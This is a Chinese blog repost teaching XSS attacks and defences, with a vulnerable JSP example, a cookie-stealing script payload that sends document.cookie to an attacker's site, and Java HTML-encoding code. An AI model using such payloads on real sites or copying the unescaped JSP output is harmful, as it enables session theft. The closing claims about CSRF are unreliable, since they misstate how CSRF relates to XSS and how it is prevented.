XSS攻击及防御（转）

add by zhj: 略有修改。另外还有一篇文章值得参考，使用 PHP 构建的 Web 应用如何避免 XSS 攻击，总得来说防御XSS的方法是客户端和服务端都

要对输入做检查，如果只有客户端做检查，那攻击者不用你的客户端而使用第三方工具发起攻击，你就玩完了，客户端就成了马奇诺防线。如果后端用的

是Python，那检查可参考Cross-site scripting (XSS) defense (Python recipe)。

 

原文：http://blog.csdn.net/ghsau/article/details/17027893

作者：高爽|Coder

目录

     1. XSS攻击

          1.1  DOM Based XSS

          1.2  Stored XSS

     2. XSS防御

          2.1 完善的过滤体系

  1. 2.2 Htmlencode

     3. CSRF与XSS的关系

 

XSS，全称Cross SiteScript，跨站脚本攻击。为何不叫CSS呢？因为层叠样式表(Cascading Style Sheets, CSS)的缩写是CSS，不了不混淆，所以称为XSS。它是Web程序中常见的漏洞，XSS属于被动式且用于客户端的攻击方式，所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码，当其它用户浏览该网站时，这段HTML代码会自动执行，从而达到攻击的目的。如，盗取用户Cookie、破坏页面结构、重定向到其它网站等。

1.  XSS攻击

       XSS攻击类似于SQL注入攻击，攻击之前，我们先找到一个存在XSS漏洞的网站，XSS漏洞分为三种，第一种是DOM Based XSS漏洞，第二种是反射型XSS，第三种是Stored XSS漏洞（add by zhj:  其实从防御上来说，他们之间没有什么差别，都是要客户端和服务端对输入做检查）。理论上，所有可输入的地方没有对输入数据进行处理的话，都会存在XSS漏洞，漏洞的危害取决于攻击代码的威力，攻击代码也不局限于script。

1.1  DOM Based XSS

       DOM Based XSS是一种基于网页DOM结构的攻击，该攻击特点是中招的人是少数人。add by zhj : 反射型XSS与DOM Based XSS基本上没啥差别

       场景一：

       当我登录a.com后，我发现它的页面某些内容是根据url中的一个叫content参数直接显示的，猜测它测页面处理可能是这样，其它语言类似： 

<%@ page language="java"contentType="text/html; charset=UTF-8"pageEncoding="UTF-8"%>

<!DOCTYPEhtmlPUBLIC"-//W3C//DTD HTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd">

<html>

    <head>

       <title>XSS测试</title>

    </head>

    <body>

       页面内容：<%=request.getParameter("content")%>

    </body>

</html>

 

      我知道了Tom也注册了该网站，并且知道了他的邮箱(或者其它能接收信息的联系方式)，我做一个超链接发给他，超链接地址为：http://www.a.com?content=<script>window.open(“www.b.com?param=”+document.cookie)</script>，当Tom点击这个链接的时候(假设他已经登录a.com)，浏览器就会直接打开b.com，并且把Tom在a.com中的cookie信息发送到b.com，b.com是我搭建的网站，当我的网站接收到该信息时，我就盗取了Tom在a.com的cookie信息，cookie一般会有sesseionID，攻击成功！这个过程中，受害者只有Tom自己。那如此攻击多个人呢？使用下面的Stored XSS

 

1.2  Stored XSS

       Stored XSS是存储式XSS漏洞，由于其攻击代码已经存储到服务器上或者数据库中，所以受害者是很多人。

       场景二：

       网站a.com上可以发文章，我登录后在a.com中发布了一篇文章，文章中包含了恶意代码，<script>window.open(“www.b.com?param=”+document.cookie)</script>，保存文章。这时Tom和Jack看到了我发布的文章，当在查看我的文章时就都中招了，他们的cookie信息都发送到了我的服务器上，攻击成功！这个过程中，受害者是多个人。Stored XSS漏洞危害性更大，危害面更广。如果这个连接广泛在a.com传播，那就会有越来越多的人中招，新浪微博和人人网都遇到过这种攻击，参见人人网又一大波蠕虫，位置在首页+登录就中招+通杀网页和人人桌面，在用户上传照片的地方有XSS漏洞，攻击者可以在照片地址后面加入onload参数，绑定一个js脚本，这样加载这个照片时，就自动执行js脚本，用户根本不用点击什么按钮，只有他看到了这张照片，那就已经执行了js脚本。这种XSS攻击很容易实现扩散，比如在js脚本中写一个post请求，发一条同样的带有xss的图片就行了。

2.  XSS防御

       我们是在一个矛盾的世界中，有矛就有盾。只要我们的代码中不存在漏洞，攻击者就无从下手，我们要做一个没有缝的蛋。XSS防御有如下方式。

2.1 完善的过滤体系

       永远不相信用户的输入。需要对用户的输入进行处理，只允许输入合法的值，其它值一概过滤掉。add by zhj: 而且这种检查必须是客户端和服务端都要做，

如果只有客户端做检查，那攻击者不用你的客户端而使用第三方工具发起攻击，你就玩完了，客户端就成了马奇诺防线。

2.2 Html encode

       假如某些情况下，我们不能对用户数据进行严格的过滤，那我们也需要对标签进行转换。

less-than character (<)

&lt;

greater-than character (>)

&gt;

ampersand character (&)

&amp;

double-quote character (")

&quot;

space character( )

&nbsp;

Any ASCII code character whose code is greater-than or equal to 0x80

&#<number>, where <number> is the ASCII character value.

      比如用户输入：<script>window.location.href=”http://www.baidu.com”;</script>，保存后最终存储的会是：&lt;script&gt;window.location.href=&quot;http://www.baidu.com&quot;&lt;/script&gt;在展现时浏览器会对这些字符转换成文本内容显示，而不是一段可执行的代码。

      下面提供两种Html encode的方法。

  • 使用Apache的commons-lang.jar

     

StringEscapeUtils.escapeHtml(str);// 汉字会转换成对应的ASCII码，空格不转换

 

  • 自己实现转换，只转换部分字符

     

private static String htmlEncode(char c) {

    switch(c) {

       case '&':

           return"&amp;";

       case '<':

           return"&lt;";

       case '>':

           return"&gt;";

       case '"':

           return"&quot;";

       case ' ':

           return"&nbsp;";

       default:

           return c +"";

    }

}

 

/** 对传入的字符串str进行Html encode转换 */

public static String htmlEncode(String str) {

    if(str ==null || str.trim().equals(""))   return str;

    StringBuilder encodeStrBuilder = new StringBuilder();

    for (int i = 0, len = str.length(); i < len; i++) {

       encodeStrBuilder.append(htmlEncode(str.charAt(i)));

    }

    return encodeStrBuilder.toString();

}

 

3.  XSS的CSRF关系（add by zhj）

      研究了半天CSRF和XSS，感觉CSRF应该是XSS的一种而已，如果XSS标签没有放在被攻击者登录的网站，而是在另一个网站，而且XSS攻击时访问的网站是被攻击者登录的网站，那这种XSS攻击也称为CSRF攻击。可见，CSRF攻击是XSS攻击的一种，还有一种XSS攻击是访问攻击者自己的网站，这种攻击标签一般是放在被攻击者登录的网站，这样攻击标签绑定的js脚本就可以获取被攻击者在登录网站的一些信息，如cookie，然后把这些信息发给攻击者自己的网站。这样，攻击者就窃取了被攻击者的信息。从防护措施上来看，CSRF的防护比XSS要简单，只需要客户端修改，CSRF只要客户端不要把数据保存在cookie，而是保存在web storage中即可防御CSRF；而对于XSS，就需要前后端都要对输入进行检查才行。

 

posted @ 2015-01-29 15:51  奋斗终生  Views(1509)  Comments(0)  Edit  收藏  举报